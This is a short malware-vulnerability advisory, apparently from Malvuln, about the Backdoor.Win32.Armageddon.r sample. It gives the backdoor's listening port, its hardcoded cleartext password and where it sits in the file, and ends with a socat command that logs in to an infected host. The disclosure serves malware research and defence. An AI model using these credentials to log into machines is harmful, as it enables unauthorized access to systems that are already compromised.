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Backdoor.Win32.Armageddon.r malware suffers from a hardcoded credential vulnerability.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
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Threat: Backdoor.Win32.Armageddon.r
Vulnerability: Hardcoded Cleartext Credentials
Description: The malware listens on TCP port 5859 and requires authentication. The password "KOrUPtIzEre" is stored in cleartext within the PE file at offset 0x4635f. Connecting to the backdoor returns the value "1" then enter the password.
Family: Armageddon
Type: PE32
MD5: 68d135936512e88cc0704b90bb3839e0
Vuln ID: MVID-2024-0670
Dropped files: IP-logs.txt
Disclosure: 02/22/2024

root@kali:/home/kali# socat - TCP4:x.x.x.x:5859
1 KOrUPtIzEre

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